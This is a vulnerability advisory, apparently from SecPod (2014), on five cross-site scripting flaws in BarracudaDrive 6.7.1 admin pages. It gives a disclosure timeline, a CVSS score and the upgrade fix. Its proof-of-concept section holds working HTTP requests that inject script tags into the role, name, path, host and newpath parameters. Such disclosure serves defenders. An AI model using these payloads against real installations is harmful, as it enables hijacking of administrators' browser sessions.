############################################################################### 
# 
# Title    : BarracudaDrive Multiple XSS Vulnerabilities 
# Author   : Shakeel Bhat SecPod Technologies Pvt. Ltd. http://www.secpod.com 
# Vendor   : http://barracudadrive.com 
# Advisory : http://secpod.org/blog/?p=2309
#            http://secpod.org/advisories/SecPod_Advistory_BarracudaDrive_6.7.1_Mult_XSS_Vuln.txt
# Software : BarracudaDrive 6.7.1 
# Date     : 20/03/2014 
# 
############################################################################## 

SecPod ID: 1052                                    20/03/2014 Issue Discovered 
                                                   25/03/2014 Vendor Notified 
                                                   26/03/2014 Vendor Responded 
                                                   27/03/2014 Vendor Solution 
                                                   28/04/2014 Advisory Released 


Class: Cross-Site Scripting                        Severity: Medium 


Overview: 
--------- 
BarracudaDrive Multiple Reflected (1,3) and Persistent(2,4,5) Cross-site
Scripting Vulnerabilities. 


Technical Description: 
---------------------- 

Multiple Reflected and Persistent Cross-Site Scripting vulnerabilities are
present in BarracudaDrive, as it fails to properly sanitize user-supplied
input. 

 1) Input passed via the 'role' parameter to 'protected/admin/roles.lsp' is not 
properly verified before it is returned to the user. This can be exploited to 
execute arbitrary HTML and script code in a user's browser session in the 
context of a vulnerable site. 

 2) Input passed via the 'name' parameter to '/admin/user.lsp' is not 
properly verified before it is returned to the user. This can be exploited to 
execute arbitrary HTML and script code in a user's browser session in the 
context of a vulnerable site. 

 3) Input passed via the 'path' parameter in 
'/rtl/protected/admin/wizard/setuser.lsp' is not properly verified before it is 
returned to the user. This can be exploited to execute arbitrary HTML and 
script code in a user's browser session in the context of a vulnerable site. 

 4) Input passed via the 'host' parameter in '/admin/tunnelconstr.lsp' is not 
properly verified before it is returned to the user. This can be exploited to 
execute arbitrary HTML and script code in a user's browser session in the 
context of a vulnerable site. 

 5) Input passed via the 'newpath' parameter in 'protected/admin/wfsconstr.lsp' 
is not properly verified before it is returned to the user. This can be 
exploited to execute  arbitrary HTML and script code in a user's browser 
session in the context of a vulnerable site. 

The vulnerability has been tested in BarracudaDrive 6.7.1, Other versions may 
also be affected. 


Impact: 
-------- 
Successful exploitation allows an authenticated attacker to execute arbitrary 
HTML and script code in a user's browser session in the context of a 
vulnerable site. 


Affected Software: 
------------------ 
BarracudaDrive 6.7.1 

Tested on, 
BarracudaDrive 6.7.1 on Windows OS 


References: 
----------- 
http://secpod.org/blog/?p=2309
http://secpod.org/advisories/SecPod_Advistory_BarracudaDrive_6.7.1_Mult_XSS_Vuln.txt


Proof of Concept: 

1) localhost/rtl/protected/admin/roles.lsp?role=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E 

2) POST /rtl/protected/admin/user.lsp 
   Host: localhost 
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
   Accept-Language: en-US,en;q=0.5 
   Accept-Encoding: gzip, deflate 
   Referer: http://localhost/rtl/protected/admin/user.lsp 
   Cookie: tzone=--330; z9ZAqJtI=cc48e5f75329a847 
   Connection: keep-alive 
   Content-Type: application/x-www-form-urlencoded 
   Content-Length: 80 

   POSTDATA: 
   name=<script>alert("xss1")</script>&pwd=erterter&inactive=20&maxUsers=3&recycle=true&pwdl=false&info= 

3) POST /rtl/protected/admin/wizard/setuser.lsp 
   Host: localhost 
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0 
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
   Accept-Language: en-US,en;q=0.5 
   Accept-Encoding: gzip, deflate 
   Referer: http://localhost/rtl/protected/admin/wizard/setuser.lsp 
   Cookie: tzone=--330; z9ZAqJtI=cc48e5f75329a847 
   Connection: keep-alive 
   Content-Type: application/x-www-form-urlencoded 
   Content-Length: 40 

   POSTDATA 
   user=abc&password=def&path=<script>alert("xss")</script> 

4) POST /rtl/protected/admin/tunnelconstr.lsp
   Host: localhost 
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0 
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
   Accept-Language: en-US,en;q=0.5 
   Accept-Encoding: gzip, deflate 
   Referer: http://localhost/rtl/protected/admin/tunnelconstr.lsp? 
   Cookie: tzone=--330; z9ZAqJtI=cc48e5f75329a847 
   Connection: keep-alive 
   Content-Type: application/x-www-form-urlencoded 
   Content-Length: 53 

   POSTDATA 
   constr=&host=<script>alert("xss")</script>&port=22&commonports=&pathsub=Add 

5) POST /rtl/protected/admin/wfsconstr.lsp
   Host: localhost 
   User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0 
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
   Accept-Language: en-US,en;q=0.5 
   Accept-Encoding: gzip, deflate 
   Cookie: tzone=--330; z9ZAqJtI=cc48e5f75329a847 
   Connection: keep-alive 
   Content-Type: application/x-www-form-urlencoded 
   Content-Length: 101 

   POSTDATA 
   basepath=&constr=qw&pathsub=abc&newpath=<script>alert("XSS")</script>&GET=on&PROPFIND=on&readaccess=on 


Solution: 
-------
Upgrade to BarracudaDrive version 6.7.2


Risk Factor: 
------------- 
CVSS Score Report: 
    ACCESS_VECTOR          = NETWORK 
    ACCESS_COMPLEXITY      = MEDIUM 
    AUTHENTICATION         = SINGLE INSTANCE 
    CONFIDENTIALITY_IMPACT = NONE 
    INTEGRITY_IMPACT       = PARTIAL 
    AVAILABILITY_IMPACT    = NONE 
    EXPLOITABILITY         = PROOF_OF_CONCEPT 
    REMEDIATION_LEVEL      = UNAVAILABLE 
    REPORT_CONFIDENCE      = CONFIRMED 
    CVSS Base Score        = 3.5 (AV:N/AC:M/Au:SI/C:N/I:P/A:N) 
    CVSS Temporal Score    = 3.1 
    Risk factor            = Medium 


Credits: 
-------- 
Shakeel Bhat of SecPod Technologies has been credited with the 
discovery of this vulnerability.